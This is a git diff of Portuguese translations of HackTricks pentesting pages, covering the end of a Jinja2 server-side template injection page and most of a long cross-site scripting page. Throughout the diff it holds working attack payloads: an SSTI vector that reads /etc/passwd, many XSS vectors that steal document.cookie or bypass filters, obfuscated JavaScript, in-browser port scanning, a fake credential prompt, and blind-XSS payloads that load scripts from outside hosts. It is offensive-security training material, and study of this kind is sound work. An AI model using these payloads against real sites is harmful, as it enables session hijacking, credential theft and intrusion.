A partir dos [**objetos globais**](jinja2-ssti.md#accessing-global-objects), há outra maneira de obter **RCE sem usar essa classe.**\
|
||||
Se você conseguir acessar qualquer **função** desses objetos globais, poderá acessar **`__globals__.__builtins__`** e a partir daí a **RCE** é muito **simples**.
|
||||
|
||||
Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em qualquer **outro** objeto **global** interessante ao qual você tenha acesso com:
|
||||
|
@ -246,7 +251,7 @@ Você pode **encontrar funções** nos objetos **`request`**, **`config`** e em
|
|||
|
||||
# You can iterate through children objects to find more
|
||||
```
|
||||
Uma vez que você tenha encontrado algumas funções, você pode recuperar os builtins com:
|
||||
Depois de encontrar algumas funções, você pode recuperar os builtins com:
|
||||
```python
|
||||
# Read file
|
||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
|
@ -283,7 +288,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -23,7 +23,7 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
|
|||
2. Você pode criar novos eventos/atributos para executar código JS?
|
||||
3. O atributo onde você está preso suporta a execução de JS?
|
||||
4. Você pode contornar proteções?
|
||||
3. Dentro do **código JavaScript**:
|
||||
3. Dentro do código **JavaScript**:
|
||||
1. Você pode escapar da tag `<script>`?
|
||||
2. Você pode escapar da string e executar código JS diferente?
|
||||
3. Seus inputs estão em literais de modelo \`\`?
|
||||
|
@ -58,12 +58,12 @@ Além disso, tenha em mente a [Injeção de Modelo do Lado do Cliente](../client
|
|||
|
||||
### Dentro do atributo de tags HTML
|
||||
|
||||
Se seu input é refletido dentro do valor do atributo de uma tag, você poderia tentar:
|
||||
Se seu input é refletido dentro do valor do atributo de uma tag, você pode tentar:
|
||||
|
||||
1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
|
||||
2. Se você **puder escapar do atributo mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então, dependendo de **qual atributo** seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se seu input é refletido dentro de "**tags inexploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
2. Se você **puder escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderá **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não puder escapar do atributo** (`"` está sendo codificado ou excluído), então, dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se seu input é refletido dentro de "**tags inexploráveis**", você pode tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Dentro do código JavaScript
|
||||
|
||||
|
@ -83,7 +83,7 @@ Neste caso, seu input é refletido entre as tags **`<script> [...] </script>`**
|
|||
```
|
||||
#### Elevação de Javascript
|
||||
|
||||
A Elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes após serem usadas, para que seja possível explorar cenários onde um XSS está usando variáveis ou funções não declaradas.**\
|
||||
A elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes após serem usadas, para que seja possível explorar cenários onde um XSS está usando variáveis ou funções não declaradas.**\
|
||||
**Verifique a página a seguir para mais informações:**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
|
@ -153,22 +153,22 @@ Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar
|
|||
Para esses casos, também **tenha em mente** [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Um comentário HTML pode ser fechado usando**** ****`-->`**** ****ou**** ****`--!>`**_
|
||||
|
||||
Neste caso, e se não houver uso de lista negra/lista branca, você poderia usar payloads como:
|
||||
Neste caso, e se não houver uso de listas negras/listas brancas, você poderia usar payloads como:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mas, se estiver sendo utilizado o bloqueio/liberação de tags/atributos, você precisará **forçar a barra para descobrir quais tags** pode criar.\
|
||||
Depois de **localizar quais tags são permitidas**, será necessário **forçar a barra para descobrir atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto.
|
||||
Mas, se estiver sendo utilizado um sistema de listagem negra/listagem branca de tags/atributos, você precisará **forçar a entrada de quais tags** você pode criar.\
|
||||
Uma vez que você tenha **localizado quais tags são permitidas**, será necessário **forçar a entrada de atributos/eventos** dentro das tags válidas encontradas para ver como você pode atacar o contexto.
|
||||
|
||||
### Forçar tags/eventos
|
||||
### Forçar entrada de Tags/Eventos
|
||||
|
||||
Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags pode usar, você pode **forçar todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).
|
||||
Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags você pode usar, você pode **forçar a entrada de todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).
|
||||
|
||||
### Tags personalizadas
|
||||
|
||||
Se não encontrar nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, é necessário terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
|
||||
Se você não encontrou nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -235,17 +235,17 @@ onerror=alert`1`
|
|||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
O último usa 2 caracteres unicode que se expandem para 5: telsr\
|
||||
O último consiste em usar 2 caracteres unicode que se expandem para 5: telsr\
|
||||
Mais desses caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
|
||||
Para verificar em quais caracteres são decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se para explorar a vulnerabilidade você precisa que o **usuário clique em um link ou um formulário** com dados preenchidos antecipadamente, você pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
Se, para explorar a vulnerabilidade, você precisa que o **usuário clique em um link ou em um formulário** com dados preenchidos antecipadamente, você pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
|
||||
### Impossível - Dangling Markup
|
||||
|
||||
Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) porque você pode **explorar** a vulnerabilidade **sem** executar **código JS**.
|
||||
Se você simplesmente acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) porque você poderia **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||||
|
||||
## Injetando dentro da tag HTML
|
||||
|
||||
|
@ -269,14 +269,14 @@ Se você **não pode escapar da tag**, você pode criar novos atributos dentro d
|
|||
```
|
||||
### Dentro do atributo
|
||||
|
||||
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
|
||||
Mesmo que **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, poderá fazer com que ele execute código arbitrário quando clicado.\
|
||||
Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass dentro do evento usando codificação HTML/codificação de URL**
|
||||
|
||||
Os **caracteres codificados em HTML** dentro do valor dos atributos das tags HTML são **decodificados em tempo de execução**. Portanto, algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Voltar </a>`
|
||||
|
||||
Note que **qualquer tipo de codificação HTML é válida**:
|
||||
Observe que **qualquer tipo de codificação HTML é válida**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
|
@ -359,7 +359,7 @@ Além disso, há outro **truque interessante** para esses casos: **Mesmo que sua
|
|||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Note que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, isso **não funcionará**, mas você pode **misturá-los dentro do payload**.
|
||||
Note que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, isso **não** **funcionará**, mas você pode **misturá-los dentro do payload**.
|
||||
|
||||
**Usando codificação Hex e Octal com `javascript:`**
|
||||
|
||||
|
@ -381,13 +381,13 @@ Você pode usar a codificação **Hex** e **Octal** dentro do atributo `src` do
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank"`** e **`rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
|
||||
Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank" e rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Bypass nos Manipuladores de Eventos
|
||||
### Bypass em Manipuladores de Eventos
|
||||
|
||||
Primeiramente, verifique esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obter **"on" event handlers** úteis.\
|
||||
Caso haja alguma lista negra impedindo a criação desses manipuladores de eventos, você pode tentar os seguintes bypasses:
|
||||
|
@ -420,7 +420,7 @@ E em **meta tags**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
A partir [**daqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de tecla de acesso. Aqui está o vetor:
|
||||
A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de tecla de acesso. Aqui está o vetor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -442,7 +442,7 @@ Leia os [Contornos da Lista Negra da seção anterior](./#blacklist-bypasses).
|
|||
|
||||
**Contornos para código JavaScript**
|
||||
|
||||
Leia os [Contornos da Lista Negra de JavaScript da próxima seção](./#javascript-bypass-blacklists-techniques).
|
||||
Leia os [Contornos da Lista Negra de JavaScript da seção seguinte](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### Gadgets de CSS
|
||||
|
||||
|
@ -470,7 +470,7 @@ Neste caso, sua **entrada** será **refletida dentro do código JS** de um arqui
|
|||
|
||||
### Escapando a tag \<script>
|
||||
|
||||
Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>`, você pode facilmente **escapar fechando a tag `<script>`**:
|
||||
Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você poderia facilmente **escapar fechando a tag `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
|
@ -753,7 +753,7 @@ Você pode verificar se os **valores refletidos** estão sendo **normalizados em
|
|||
```
|
||||
### Bypass Ruby-On-Rails
|
||||
|
||||
Devido às **atribuições em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
|
||||
Devido às **atribuições em massa do RoR**, as aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
|
||||
Por exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar o payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -794,10 +794,10 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS com injeção de cabeçalho em uma resposta 302
|
||||
|
||||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial**, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de script entre sites é inútil.
|
||||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial** pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de script entre sites é inútil.
|
||||
|
||||
Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**este**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
|
||||
Protocolos conhecidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
|
||||
Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
|
||||
Protocolos conhecidos: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
|
||||
|
||||
### Apenas Letras, Números e Pontos
|
||||
|
||||
|
@ -809,7 +809,7 @@ Se você puder indicar o **callback** que o javascript vai **executar** limitado
|
|||
|
||||
> Recusou-se a executar o script de '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME ('application/octet-stream') não é executável, e a verificação estrita do tipo MIME está ativada.
|
||||
|
||||
Os únicos **tipos de conteúdo** que o Chrome suportará para executar um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Os únicos **tipos de conteúdo** que o Chrome suportará para executar um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -840,7 +840,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
A resposta é:
|
||||
|
||||
* **módulo** (padrão, nada a explicar)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS...) juntos em um arquivo **`.wbn`**.
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS...) em um arquivo **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -885,7 +885,7 @@ Este comportamento foi utilizado neste [**artigo**](https://github.com/zwade/yac
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Tipos de Conteúdo Web para XSS
|
||||
### Tipos de Conteúdo da Web para XSS
|
||||
|
||||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||||
|
||||
|
@ -898,7 +898,7 @@ Este comportamento foi utilizado neste [**artigo**](https://github.com/zwade/yac
|
|||
* application/rss+xml (desativado)
|
||||
* application/atom+xml (desativado)
|
||||
|
||||
Em outros navegadores outros **`Tipos de Conteúdo`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
Em outros navegadores outros **`Content-Types`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Tipo de Conteúdo xml
|
||||
|
||||
|
@ -1017,16 +1017,16 @@ trigger()
|
|||
```
|
||||
### Ofuscação e Desvio Avançado
|
||||
|
||||
* **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
* JSFuck mais sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||||
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||||
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||||
- **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
- JSFuck mais sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||||
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||||
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||||
```javascript
|
||||
//Katana
|
||||
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
|
||||
|
@ -1164,7 +1164,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
```
|
||||
_As vezes curtas indicam uma porta respondendo_ _Tempos mais longos indicam falta de resposta._
|
||||
|
||||
Revise a lista de portas banidas no Chrome [**aqui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e no Firefox [**aqui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Consulte a lista de portas banidas no Chrome [**aqui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e no Firefox [**aqui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Caixa para solicitar credenciais
|
||||
```markup
|
||||
|
@ -1231,7 +1231,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Cargas úteis de Blind XSS
|
||||
### Cargas úteis Blind XSS
|
||||
|
||||
Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1273,9 +1273,9 @@ Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Acesso a Conteúdo Oculto
|
||||
### Regex - Acessar Conteúdo Oculto
|
||||
|
||||
A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível de ser encontrada após o valor da entrada do regex ter sido removido:
|
||||
A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível de ser encontrada mesmo após o valor da entrada do regex ter sido removido:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1290,11 +1290,11 @@ console.log(RegExp.input)
|
|||
console.log(RegExp.rightContext)
|
||||
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
||||
```
|
||||
### Lista de Brute-Force
|
||||
### Lista de Força Bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
||||
## Explorando XSS em outras vulnerabilidades
|
||||
## Explorando outras vulnerabilidades com XSS
|
||||
|
||||
### XSS em Markdown
|
||||
|
||||
|
@ -1328,13 +1328,13 @@ Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados
|
|||
[pdf-injection.md](pdf-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XSS em Amp4Email
|
||||
### XSS no Amp4Email
|
||||
|
||||
AMP, com o objetivo de acelerar o desempenho da página da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para várias funcionalidades, acessíveis por meio de [componentes AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
O formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
|
||||
|
||||
Exemplo de [**relato de XSS no Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Exemplo de [**writeup XSS no Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS ao enviar arquivos (svg)
|
||||
|
||||
|
@ -1410,7 +1410,7 @@ Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -1420,7 +1420,7 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
|